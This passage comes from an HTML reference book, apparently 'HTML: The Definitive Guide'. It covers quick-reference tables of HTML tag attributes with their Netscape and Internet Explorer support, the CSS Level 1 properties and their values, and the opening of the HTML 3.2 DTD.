style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
usemap=url | Specify the map of coordinates and links that define the hypertext links within this image |
vspace=n | Specify the vertical space, in pixels, added at the top and bottom of the image |
width=n | Specify the width of the image in pixels |
<input type=button> | Create a checkbox input element within a <form> | (Netscape) (Internet Explorer)
name=name | Specify the name of the parameter to be passed to the form-processing application if the input element is selected (required) | (Netscape) (Internet Explorer)
notab | Specifies that this element is not part of the tabbing order | (Internet Explorer)
onclick=applet | Specify an applet to be run if the user clicks this element | (Netscape) (Internet Explorer)
taborder=n | Specifies this element's position in the tabbing order | (Internet Explorer)
value=string | Specify the value of the parameter sent to the form-processing application if this form element is selected (required) | (Netscape) (Internet Explorer)
<input type=checkbox> | Create a checkbox input element within a <form> |
checked | Mark the element as initially selected |
name=string | Specify the name of the parameter to be passed to the form-processing application if the input element is selected (required) |
notab | Specifies that this element is not part of the tabbing order | (Internet Explorer)
onclick=applet | Specify an applet to be run if the user clicks this element | (Netscape) (Internet Explorer)
taborder=n | Specifies this element's position in the tabbing order | (Internet Explorer)
value=string | Specify the value of the parameter sent to the form-processing application if this form element is selected (required) |
<input type=file> | Create a file-selection element within a <form> |
maxlength=n | Specify the maximum number of characters to accept for this element |
name=name | Specify the name of the parameter that is passed to the form-processing application for this input element (required) |
notab | Specifies that this element is not part of the tabbing order | (Internet Explorer)
size=n | Specify the number of characters to display for this element |
taborder=n | Specifies this element's position in the tabbing order | (Internet Explorer)
<input type=hidden> | Create a hidden element within a <form> |
name=name | Specify the name of the parameter that is passed to the form-processing application for this input element (required) |
value=string | Specify the value of this element that is passed to the form-processing application |
<input type=image> | Create an image input element within a <form> |
align=type | Align the image to either the top, middle, or bottom of the form element's text |
border=n | Set the pixel thickness of the border of the image |
onclick=applet | Specify an applet to be run if the user clicks this element | (Netscape) (Internet Explorer)
name=name | Specify the name of the parameter to be passed to the form-processing application for this input element (required) |
notab | Specifies that this element is not part of the tabbing order | (Internet Explorer)
src=url | Specify the source URL of the image (required) |
taborder=n | Specifies this element's position in the tabbing order | (Internet Explorer)
<input type=password> | Create a content-protected text-input element within a <form> |
maxlength=n | Specify the maximum number of characters to accept for this element |
name=name | Specify the name of the parameter to be passed to the form-processing application for this input element (required) |
notab | Specifies that this element is not part of the tabbing order | (Internet Explorer)
onblur=applet | Specify an applet to be run when the mouse leaves this element | (Netscape) (Internet Explorer)
onchange=applet | Specify an applet to be run when the user changes the value of this element | (Netscape) (Internet Explorer)
onfocus=applet | Specify an applet to be run when the mouse enters this element | (Netscape) (Internet Explorer)
onselect=applet | Specify an applet to be run if the user clicks this element | (Netscape) (Internet Explorer)
size=n | Specify the number of characters to display for this element |
taborder=n | Specifies this element's position in the tabbing order | (Internet Explorer)
value=string | Specify the initial value for this element |
<input type=radio> | Create a radio-button input element within a <form> |
checked | Mark the element as initially selected |
name=name | Specify the name of the parameter that is passed to the form-processing application if this input element is selected (required) |
notab | Specifies that this element is not part of the tabbing order | (Internet Explorer)
onclick=applet | Specify an applet to be run if the user clicks this element | (Netscape) (Internet Explorer)
taborder=n | Specifies this element's position in the tabbing order | (Internet Explorer)
value=string | Specify the value of the parameter that is passed to the form-processing application if this element is selected (required) |
<input type=reset> | Create a reset button within a <form> |
notab | Specifies that this element is not part of the tabbing order | (Internet Explorer)
onclick=applet | Specify an applet to be run if the user clicks this element | (Netscape) (Internet Explorer)
taborder=n | Specifies this element's position in the tabbing order | (Internet Explorer)
value=string | Specify an alternate label for the reset button (default is "Reset") |
<input type=submit> | Create a submit button within a <form> |
name=name | Specify the name of the parameter that is passed to the form-processing application for this input element (required) |
notab | Specifies that this element is not part of the tabbing order | (Internet Explorer)
onclick=applet | Specify an applet to be run if the user clicks this element | (Netscape) (Internet Explorer)
taborder=n | Specifies this element's position in the tabbing order | (Internet Explorer)
value=string | Specify an alternate label for the submit button, as well as the value passed to the form-processing application for this parameter if this button is clicked |
<input type=text> | Create a text input element within a <form> |
maxlength=n | Specify the maximum number of characters to accept for this element |
name=name | Specify the name of the parameter that is passed to the form-processing application for this input element (required) |
notab | Specify that this element is not part of the tabbing order | (Internet Explorer)
onblur=applet | Specify an applet to be run when the mouse leaves this element | (Netscape) (Internet Explorer)
onchange=applet | Specify an applet to be run when the user changes the value of this element | (Netscape) (Internet Explorer)
onfocus=applet | Specify an applet to be run when the mouse enters this element | (Netscape) (Internet Explorer)
onselect=applet | Specify an applet to be run if the user clicks this element | (Netscape) (Internet Explorer)
size=n | Specify the number of characters to display for this element |
taborder=n | Specify this element's position in the tabbing order | (Internet Explorer)
value=string | Specify the initial value for this element |
<isindex> | Create a "searchable" HTML document |
action=url | PFor Internet Explorer only, provide the URL of the program that will perform the searching action | (Internet Explorer)
prompt=string | Provide an alternate prompt for the input field |
<kbd> ... </kbd> | The enclosed text is keyboard-like input |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<keygen> | Generate key information in a form | (Netscape)
challenge=string | Provide a challenge string to be packaged with the key | (Netscape)
name=name | Provide a name for the key | (Netscape)
<layer> ... </layer> | Define a layer | (Netscape)
above=name | Place this layer above the named layer | (Netscape)
background=url | Specify a background image for the layer | (Netscape)
below=name | Place this layer below the named layer | (Netscape)
bgcolor=color | Specify the background color for the layer | (Netscape)
class=name | Specify a style class controlling the appearance of this tag | (Netscape)
clip=edge | Define the layer's clipping region, in pixels. If left and top are 0, they may be omitted | (Netscape)
left=n | Define, in pixels, the position of the layer's left edge from the containing document or layer | (Netscape)
name=name | Provide a name for the layer | (Netscape)
src=url | Supply the content of the layer from another document | (Netscape)
style=style | Specify an inline style for this tag | (Netscape)
top=n | Define, in pixels, the position of the layer's top edge from the containing document or layer | (Netscape)
visibility=value | Determine whether to show the layer, hide the layer, or inherit the visibility attribute from a containing layer | (Netscape)
width=n | Define the width, in pixels, of the layer | (Netscape)
z-index=n | Specify the layer's position in the stacking order | (Netscape)
<li> ... </li> | Delimit a list item in an ordered (<ol>) or unordered (<ul>) list |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
type=format | Set the type of this list element to the desired format. For <li> within <ol>: A (capital letters), a (lowercase letters), I (capital Roman numerals), i (lowercase Roman numerals), or 1 (Arabic numerals; default). For <li> within <ul>: circle, disc (default), or square. |
value=n | Set the number for this list item to n |
<link> | Define a link between this document and another document in the document <head> |
href=url | Specify the hypertext reference URL of the target document |
rel=relation | Indicate the relationship from this document to the target |
rev=relation | Indicate the reverse relationship from the target to this document |
title=string | Provide a title for the target document |
type=string | Specify the MIME type for the linked document. Usually used in conjunctionwith links to stylesheets, when the type is set to text/css | (Netscape) (Internet Explorer)
<listing> ... </listing> | Same as <pre width=132> ... </pre>; deprecated, do not use |
<map> ... </map> | Define a map containing hotspots in a client-side image map |
name=name | Define the name of this map (required) |
<marquee> ... </marquee> | Create a scrolling-text marquee (Internet Explorer only) | (Internet Explorer)
align=position | Align the marquee to the top, middle, or bottom of the surrounding text | (Internet Explorer)
behavior=style | Define marquee style to be scroll, slide, or alternate | (Internet Explorer)
bgcolor=color | Set the background color of the marquee | (Internet Explorer)
class=name | Specify a style class controlling the appearance of this tag | (Internet Explorer)
direction=dir | Define the direction, left or right, the text is to scroll | (Internet Explorer)
height=n | Define the height, in pixels, of the marquee area | (Internet Explorer)
hspace=n | Define the space, in pixels, to be inserted left and right of the marquee | (Internet Explorer)
loop=value | Set the number of times to animate the marquee; value is an integer or infinite | (Internet Explorer)
scrollamount=value | Set the number of pixels to move the text for each scroll movement | (Internet Explorer)
scrolldelay=value | Specify the delay, in milliseconds, between successive movements of the marquee text | (Internet Explorer)
style=style | Specify an inline style for this tag | (Internet Explorer)
vspace=n | Define the space, in pixels, to be inserted above and below of the marquee | (Internet Explorer)
width=n | Define the width, in pixels, of the marquee area | (Internet Explorer)
<menu> ... </menu> | Define a menu list containing <li> tags |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
compact | Make the list more compact if possible |
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
type=bullet | Set the bullet style for this list to either circle, disc (default), or square | (Netscape) (Internet Explorer)
<meta> | Provides additional information about a document |
charset=name | Specify the character set to be used with this document | (Internet Explorer)
content=string | Specify the value for the meta-information (required) |
http-equiv=string | Specify the HTTP equivalent name for the meta-information and cause the server to include the name and content in the HTTP header for this document when it is transmitted to the client |
name=string | Specify the name of the meta-information |
<multicol> ... </multicol> | Define a multi-column text flow | (Netscape)
class=name | Specify a style class controlling the appearance of this tag | (Netscape)
cols=n | Specify the number of columns | (Netscape)
gutter=n | Define the spacing, in pixels, between columns | (Netscape)
style=style | Specify an inline style for this tag | (Netscape)
width=n | Define the width of the entire column group | (Netscape)
<nobr> ... </nobr> | No breaks allowed in the enclosed text | (Netscape) (Internet Explorer)
<noembed> ... </noembed> | Define content to be presented by browsers that do not support the <embed> tag | (Netscape)
<noframes> ... </noframes> | Define content to be presented by browsers that do not support frames | (Netscape) (Internet Explorer)
<noscript> ... </noscript> | Define content to be presented by browsers that do not support the <script> tag | (Netscape)
<object> | Insert an object into a document | (Internet Explorer)
align=position | Align the object with the surrounding text (texttop, middle, textmiddle, baseline, textbottom, and center) or against the margin with subsequent text flowing around the applet (left and right) | (Netscape) (Internet Explorer)
border=n | Define, in pixels, the object's border width | (Internet Explorer)
classid=url | Supply the URL of the object | (Netscape) (Internet Explorer)
codebase=url | Supply the URL of the object's code base | (Netscape) (Internet Explorer)
codetype=type | Specify the MIME type of the code base | (Internet Explorer)
data=url | Supply data for the object | (Netscape) (Internet Explorer)
declare | Declare this object without instantiating it | (Internet Explorer)
height=n | Define, in pixels, the height of the object | (Netscape) (Internet Explorer)
hspace=n | Provide extra space, in pixels, to the right and left of the object | (Internet Explorer)
id=name | Define the name of this object | (Netscape)
name=name | Define the name of this object | (Internet Explorer)
notab | Do not make this object part of the tabbing order | (Internet Explorer)
shapes | Specify that this object has shaped hyperlinks | (Internet Explorer)
standby=string | Define a message to display while the object loads | (Internet Explorer)
tabindex=n | Specify this object's position in the document tab order | (Internet Explorer)
title=string | Provide a title for this object | (Internet Explorer)
type=type | Specify the MIME type for the object data | (Netscape) (Internet Explorer)
usemap=url | Defines an image map for use with this object | (Internet Explorer)
vspace=n | Provide extra space, in pixels, above and below of the object | (Internet Explorer)
width=n | Define, in pixels, the width of the object | (Netscape) (Internet Explorer)
<ol> ... </ol> | Define an ordered list containing numbered (ascending) <li> elements |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
compact | Present the list in a more compact manner |
start=n | Start numbering the list at n, instead of 1 |
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
type=format | Set the numbering format for this list to either A (capital letters), a (lowercase letters), I (capital Roman numerals), i (lowercase Roman numerals), or 1 (Ararbic numerals; default) |
<option> ... </option> | Define an option within a <select> item in a <form> |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
selected | Make this item initially selected |
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
value=string | Return the specified value to the form-processing application instead of the <option> contents |
<p> ... </p> | Start and end a paragraph |
align=type | Align the text within the paragraph to left, center, or right |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<param> ... </param> | Supply a parameter to a containing <applet> |
name=name | Define the name of the parameter |
type=type | Specify the MIME type of the parameter | (Internet Explorer)
value=string | Define the value of the parameter |
valuetype=type | Define the type of the value attribute, either as data, ref (the value is a URL pointing to the data), or object (the value is the name of an object in this document) | (Internet Explorer)
<plaintext> | Render the remainder of the document as preformatted plain text |
<pre> ... </pre> | Render the enclosed text in its original, preformatted style, honoring line breaks and spacing verbatim |
width=n | Size the text, if possible, so that n characters fit across the display window |
<s> ... </s> | Same as <strike>. The enclosed text is struck through with a horizontal line | (Netscape) (Internet Explorer)
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<samp> ... </samp> | The enclosed text is a sample |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<script> ... </script> | Define a script within a document | (Netscape) (Internet Explorer)
language=name | Specify the script language as either vbscript or javascript | (Netscape) (Internet Explorer)
src=url | Provide the URL of the document containing the scripts | (Netscape) (Internet Explorer)
<select> ... </select> | Define a multiple-choice menu or scrolling list within a <form>, containing one or more <option> tags |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
multiple | Allow user to select more than one <option> within the <select> |
name=name | Define the name for the selected <option> values that, if selected, are passed to the form-processing application (required) |
onblur=applet | Specify an applet to be run when the mouse leaves this element | (Netscape)
onchange=applet | Specify an applet to be run when the user changes the value of this element | (Netscape)
onclick=applet | Specify an applet to be run if the user clicks this element | (Netscape)
onfocus=applet | Specify an applet to be run when the mouse enters this element | (Netscape)
size=n | Display n items using a pulldown menu for size=1 (without multiple specified) and a scrolling list of n items otherwise |
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<server> ... </server> | Define a LiveWire script | (Netscape)
<small> ... </small> | Format the enclosed text using a smaller typeface |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<spacer> | Create blank space in a document | (Netscape)
align=position | Align a block spacer with either the surrounding text (top, texttop, middle, absmiddle, baseline, bottom, absbottom) or against a margin with subsequent text flowing around the spacer (left and right) | (Netscape)
height=n | Define the height, in pixels, of a block spacer | (Netscape)
size=n | Define the length, in pixels, of a horizontal or vertical spacer | (Netscape)
type=type | Set spacer type to one of block, horizontal, or vertical | (Netscape)
width=value | Define the width, in pixels, of a block spacer | (Netscape)
<span> ... </span> | Define a span of text for style application | (Netscape) (Internet Explorer)
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<strike> ... </strike> | The enclosed text is struck through with a horizontal line |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<strong> ... </strong> | Strongly emphasize the enclosed text |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<style> ... </style> | Define one or more document level styles | (Netscape) (Internet Explorer)
type=type | Define the format of the styles (always text/css) | (Netscape) (Internet Explorer)
<sub> ... </sub> | Format the enclosed text as subscript |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<sup> ... </sup> | Format the enclosed text as superscript |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<table> ... </table> | Define a table |
align=position | Align the table either left or right and flow the subsequent text around the table |
background=url | Define a background image for the table | (Internet Explorer)
bgcolor=color | Define the background color for the entire table | (Netscape) (Internet Explorer)
border=n | Create a border n pixels wide |
bordercolor=color | Define the border color for the entire table | (Internet Explorer)
bordercolordark=color | Define the dark border-highlighting color for the entire table | (Internet Explorer)
bordercolorlight=color | Define the light border-highlighting color for the entire table | (Internet Explorer)
cellpadding=n | Place n pixels of padding around each cell's contents |
cellspacing=n | Place n pixels of spacing between cells |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
cols=n | Specify the number of columns in this table | (Netscape) (Internet Explorer)
frame=type | Define where table borders are displayed, either border (default), void, above, below, hsides, lhs, rhs, vsides, or box | (Internet Explorer)
height=n | Define the height of the table in pixels | (Netscape)
hspace=n | Specify the horizontal space, in pixels, added at the left and right of the table | (Netscape)
nowrap | Supress text wrapping in table cells | (Internet Explorer)
rules=edges | Determine where inner dividers are drawn, either none (default), groups (only around row and column groups), rows, cols, or all. | (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
valign=position | Align text in the table to either the top, center, bottom, or baseline | (Internet Explorer)
vspace=n | Specify the vertical space, in pixels, added at the top and bottom of the table | (Netscape)
width=n | Set the width of the table to n pixels or a percentage of the window width |
<tbody>...</tbody> | Create a row group within a table | (Internet Explorer)
<td> ... </td> | Define a table data cell |
align=position | Align the cell contents to the left, center, or right |
background=url | Define a background image for this cell | (Internet Explorer)
bgcolor=color | Define the background color for the cell | (Netscape) (Internet Explorer)
bordercolor=color | Define the border color for the cell | (Internet Explorer)
bordercolordark=color | Define the dark border highlighting color for the cell | (Internet Explorer)
bordercolorlight=color | Define the light border highlighting color for the cell | (Internet Explorer)
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
colspan=n | Have this cell straddle n adjacent columns |
height=n | Define the height, in pixels, for this cell |
nowrap | Do not automatically wrap and fill text in this cell |
rowspan=n | Have this cell straddle n adjacent rows |
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
valign=position | Vertically align this cell's contents to the top, center, bottom, or baseline of the cell |
width=n | Set the width of this cell to n pixels or a percentage of the table width |
<textarea> ... </textarea> | Define a multiline text input area within a <form>; content of the <textarea> tag is the initial, default value |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
cols=n | Display n columns (characters) of text within the text area |
name=string | Define the name for the text-area value that is passed to the form-processing application (required) |
onblur=applet | Specify an applet to be run when the mouse leaves this element | (Netscape)
onchange=applet | Specify an applet to be run when the user changes the value of this element | (Netscape)
onfocus=applet | Specify an applet to be run when the mouse enters this element | (Netscape)
onselect=applet | Specify an applet to be run if the user clicks this element | (Netscape)
rows=n | Display n rows of text within the text area |
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
wrap=style | Set word wrapping within the text area to off, virtual (display wrap, but do not transmit to server), or physical (display and transmit wrap) | (Netscape)
<tfoot> ... </tfoot> | Define a table footer | (Internet Explorer)
<th> ... </th> | Define a table header cell |
align=position | Align the cell contents to the left, center, or right |
background=url | Define a background image for this cell | (Internet Explorer)
bgcolor=color | Define the background color for the cell | (Netscape) (Internet Explorer)
bordercolor=color | Define the border color for the cell | (Internet Explorer)
bordercolordark=color | Define the dark border highlighting color for the cell | (Internet Explorer)
bordercolorlight=color | Define the light border highlighting color for the cell | (Internet Explorer)
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
colspan=n | Have this cell straddle n adjacent columns |
height=n | Define the height, in pixels, of this cell |
nowrap | Do not automatically wrap and fill text in this cell |
rowspan=n | Have this cell straddle n adjacent rows |
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
valign=position | Vertically align this cell's contents to the top, center, bottom, or baseline of the cell |
width=n | Set the width of this cell to n pixels or a percentage of the table width |
<thead> ... </thead> | Define a table heading | (Internet Explorer)
align=position | Define the horizontal text alignment in the heading, either left, center, right, or justify | (Internet Explorer)
class=name | Specify a style class controlling the appearance of this tag | (Internet Explorer)
style=style | Specify an inline style for this tag | (Internet Explorer)
valign=position | Define the vertical text alignment in the heading, either left, center, right, or justify | (Internet Explorer)
<title> ... </title> | Define the HTML document's title |
<tr> ... </tr> | Define a row of cells within a table |
align=type | Align the cell contents in this row to the left, center, or right |
bgcolor=color | Define the background color for this row | (Netscape) (Internet Explorer)
bordercolor=color | For Internet Explorer, define the border color for this row | (Internet Explorer)
bordercolordark=color | For Internet Explorer, define the dark border-highlighting color for this row | (Internet Explorer)
bordercolorlight=color | For Internet Explorer, define the light border-highlighting color for this row | (Internet Explorer)
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
nowrap | Disable word wrap for all cells in this row | (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
valign=position | Vertically align the cell contents in this row to the top, center, bottom, or baseline of the cell |
<tt> ... </tt> | Format the enclosed text in teletype-style (monospaced) font |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<u> ... </u> | The enclosed text is underlined |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<ul> ... </ul> | Define an unordered list of bulleted <li> elements |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
compact | Display the list in a more compact manner |
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
type=bullet | Set the bullet style for this list to either circle, disc (default), or square |
<var> ... </var> | The enclosed text is a variable's name |
class=name | Specify a style class controlling the appearance of this tag | (Netscape) (Internet Explorer)
style=style | Specify an inline style for this tag | (Netscape) (Internet Explorer)
<wbr> | Indicate a potential word break point within a <nobr> section | (Netscape) (Internet Explorer)
<xmp> ... </xmp> | Same as <pre width=80> ... </pre>; deprecated, do not use |

Previous | Home | Next
The Grammar | Book Index | Cascading Style Sheet Properties Quick Reference
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix C] Cascading Style Sheet Properties Quick Reference

HTML: The Definitive Guide

Previous Appendix C Next

C. Cascading Style Sheet Properties Quick Reference

In the following table, we list in alphabetical order all the properties defined in the World Wide Web Consortium's Recommended Specification for Cascading Style Sheets, Level 1 (http://www.w3.org/pub/WWW/TR/REC-CSS1).

NOTE:

We know that browser support of style sheets will change faster than we can reprint this book, so we have created a separate "compliance document" that you can use to determine how style sheets are implemented by the latest releases of the browsers. You can find this document at http://www.ora.com/info/html /. Whenever that document and this appendix differ, the document should be considered more accurate.

As in other sections of this book, we use the Netscape and Microsoft icons to the far right of each property to show which browser supports that property. Properties with no icons are not currently supported by any browser.

We also include the number of the section in this book that fully defines the property.

We include each property's possible values, defined as either an explicit keyword (shown in constant width) or as one of these values:

color

Either a color name or hexadecimal RGB value, as defined in Appendix F, Color Names and Values, or an RGB triple of the form

rgb(red, green, blue)

where red, green, and blue are either numbers in the range 0 to 255 or percentage values indicating the brightness of that color component. Values of 255 or 100% indicate that the corresponding color component is at its brightest; values of 0 or 0% indicate that the corresponding color component is turned completely off. For example,

rgb(27, 119, 207)
rgb(50%, 75%, 0%)

are both valid color specifications.

length

An optional sign (either + or -) immediately followed by a number (with or without a decimal point) immediately followed by a two-character unit identifier. For values of zero, the unit identifier may be omitted.

The unit identifiers em and ex refer to the overall height of the font and to the height of the letter "x", respectively. The unit identifier px is equal to a single pixel on the display device. The unit identifiers in, cm, mm, pt, and pc refer to inches, centimeters, millimeters, points, and picas, respectively. There are 72.27 points per inch, and 12 points in a pica.

number

An optional sign, immediately followed by a number (with or without a decimal point).

percent

An optional sign, immediately followed by a number (with or without a decimal point), immediately followed by a percent sign. The actual value is computed as a percentage of some other element property, usually the element's size.

url

The keyword url, immediately followed (no spaces) by a left parenthesis, followed by a URL optionally enclosed in single or double quotes, followed by a matching right parenthesis. For example,

url("http://members.aol.com/htmlguru")

is a valid URL value.

Finally, some values are lists of other values and are described as a "list of" some other value. In these cases, a list consists of one or more of the allowed values, separated by commas.

If there are several different values allowed for a property, these alternative choices are separated by vertical bars (|).

If the standard defines a default value for the property, that value is in boldface.

background |  | Composite property for the background-attachment,background-color, background-image, background-position, and background-repeat properties; value is any of these properties' values, in any order | 9.3.4.6 | (Netscape) (Internet Explorer)
background- attachment | scroll | fixed | Determines if the background image is fixed in the window or scrolls as the document scrolls | 9.3.4.1 | (Netscape)
background-color | color | transparent | Sets the background color of an element | 9.3.4.2 | (Netscape)
background-image | url | none | Sets the background image of an element | 9.3.4.3 | (Netscape)
background-position | percent | length | top | center | bottom | left | right | Sets the initial position of the element's background image, if specified; values are normally paired to provide x, y positions. Default position is 0% 0% | 9.3.4.4 | (Netscape)
background-repeat | repeat | repeat-x | repeat-y | no-repeat | Determines how the background image is repeated (tiled) across an element | 9.3.4.5 | (Netscape)
border |  | Sets all four borders on an element; value is one or more of a color, a value for border-width, and a value for border-style | 9.3.6.6 |
border-bottom |  | Sets the bottom border on an element; value is one or more of a color, a value for border-bottom-width, and a value for border-style | 9.3.6.6 |
border-bottom-width | length | thin | medium | thick | Sets the thickness of an element's bottom border | 9.3.6.4 |
border-color | color | Sets the color of all four of an element's borders; default is the color of the element | 9.3.6.3 |
border-left |  | Sets the left border on an element; value is one or more of a color, a value for border-left-width, and a value for border-style | 9.3.6.6 |
border-left-width | length | thin | medium | thick | Sets the thickness of an element's left border | 9.3.6.4 |
border-right |  | Sets the right border on an element; value is one or more of a color, a value for border-right-width, and a value for border-style | 9.3.6.6 |
border-right-width | length | thin | medium | thick | Sets the thickness of an element's right border | 9.3.6.4 |
border-style | dashed | dotted | double| groove | inset | none | outset| ridge | solid | Sets the style of all four of an element's borders | 9.3.6.5 |
border-top |  | Sets the top border on an element; value is one or more of a color, a value for border-top-width, and a value for border-style | 9.3.6.6 |
border-top-width | length | thin | medium | thick | Sets the thickness of an element's top border | 9.3.6.4 |
border-width | length | thin | medium | thick | Sets the thickness of all four of an element's borders | 9.3.6.4 |
clear | both | left | none| right | Sets which margins of an element must not be adjacent to a floating element; the element will be moved down until that margin is clear | 9.3.6.7 | (Netscape)
color | color | Sets the color of an element | 9.3.4.7 | (Netscape) (Internet Explorer)
display | block | inline | list-item| none | Controls how an element is displayed | 9.3.8.1 |
float | left | none | right | Determines if an element will float to the left or right, allowing text to wrap around it, or be displayed inline (using none) | 9.3.6.8 | (Netscape)
font |  | Sets all the font attributes for an element; value is any of the values for font-style, font-variant, font-weight, font-size, line-height, and font-family, in that order | 9.3.3.6 | (Netscape) (Internet Explorer)
font-family | list of font names | Define the font for an element, either as a specific font or as one of the generic fonts serif, sans-serif, cursive, fantasy, and monospace | 9.3.3.1 | (Netscape) (Internet Explorer)
font-size | xx-small | x-small | small | medium | large | x-large | xx-large | larger | smaller | length| percent | Define the font size | 9.3.3.2 | (Netscape) (Internet Explorer)
font-style | normal | italic | oblique | Define the style of the face, either normal or some type of slanted style | 9.3.3.3 | (Netscape) (Internet Explorer)
font-variant | normal | small-caps | Define a font to be in small caps | 9.3.3.4 |
font-weight | normal | bold | bolder| lighter | number | Define the font weight. If a number is used, it must be a multiple of 100 between 100 and 900; 400 is normal, 700 is the same as the keyword bold. | 9.3.3.5 | (Netscape) (Internet Explorer)
height | length | auto | Define the height of an element | 9.3.6.9 | (Netscape)
letter-spacing | length | normal | Inserts additional space between text characters | 9.3.5.1 |
line-height | length | number | percent| normal | Sets the distance between adjacent text baselines | 9.3.5.2 | (Netscape) (Internet Explorer)
list-style |  | Defines list-related styles using any of the values for list-style-image, list-style-position, and list-style-type | 9.3.7.4 |
list-style-image | url | none | Define an image to be used as a list item's marker, in lieu of the value for list-style-type | 9.3.7.1 |
list-style-position | inside | outside | Indents or extends (default) a list item's marker with respect to the item's content | 9.3.7.2 |
list-style-type | circle | disc | square| decimal | lower-alpha | lower-roman| none | upper-alpha | upper-roman | Define a list item's marker for either unordered lists (circle, disc, or square) or for ordered lists (decimal, lower-alpha, lower-roman, none, upper-alpha, or upper-roman) | 9.3.7.3 |
margin | length | percent | auto | Define all four of an element's margins | 9.3.6.10 | (Netscape) (Internet Explorer)
margin-bottom | length | percent | auto | Define the bottom margin of an element; default value is 0 | 9.3.6.10 | (Netscape)
margin-left | length | percent | auto | Define the left margin of an element; default value is 0 | 9.3.6.10 | (Netscape) (Internet Explorer)
margin-right | length | percent | auto | Define the right margin of an element; default value is 0 | 9.3.6.10 | (Netscape) (Internet Explorer)
margin-top | length | percent | auto | Define the top margin of an element; default value is 0 | 9.3.6.10 | (Netscape) (Internet Explorer)
padding |  | Define all four padding amounts around an element | 9.3.6.4 |
padding-bottom | length | percent | Define the bottom padding of an element; default value is 0 | 9.3.6.4 | (Netscape)
padding-left | length | percent | Define the left padding of an element; default value is 0 | 9.3.6.4 | (Netscape)
padding-right | length | percent | Define the right padding of an element; default value is 0 | 9.3.6.4 | (Netscape)
padding-top | length | percent | Define the top padding of an element; default value is 0 | 9.3.6.4 | (Netscape)
text-align | center | justify | left | right | Set the text alignment style for an element | 9.3.5.3 | (Netscape) (Internet Explorer)
text-decoration | blink | line-through | none | overline | underline | Define any decoration for the text; values may be combined | 9.3.5.4 | (Netscape) (Internet Explorer)
text-indent | length | percent | Define the indentation of the first line of text in an element; default value is 0 | 9.3.5.5 | (Netscape) (Internet Explorer)
text-transform | capitalize | lowercase | none | uppercase | Transform the text in the element accordingly | 9.3.5.6 | (Netscape)
vertical-align | percent | baseline | bottom | middle | sub | super | text-bottom | text-top | top | Set the vertical positioning of an element | 9.3.5.7 |
word-spacing | length | normal | Insert additional space between words | 9.3.5.8 |
white-space | normal | nowrap | pre | Define how whitespace within an element is handled | 9.3.8.2 |
width | length | percent | auto | Define the width of an element | 9.3.6.12 | (Netscape)

Previous | Home | Next
HTML Tag Quick Reference | Book Index | The HTML 3.2 DTD
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Appendix D] The HTML 3.2 DTD

HTML: The Definitive Guide

Previous Appendix D Next

D. The HTML 3.2 DTD

The HTML 3.2 standard is formally defined as an SGML Document Type Definition (DTD). It is from this DTD that the standard is documented, and upon which this book is based. Note that we have reprinted this DTD verbatim and have not attempted to add extensions to it. Where our description and the DTD deviate, assume the DTD is correct.

<!--
        W3C Document Type Definition for the HyperText Markup Language
        version 3.2 as ratified by a vote of W3C member companies.
        For more information on W3C look at URL http://www.w3.org/
        Date: Tuesday January 14th 1997
        Author: Dave Raggett <dsr@w3.org>
        HTML 3.2 aims to capture recommended practice as of early '96
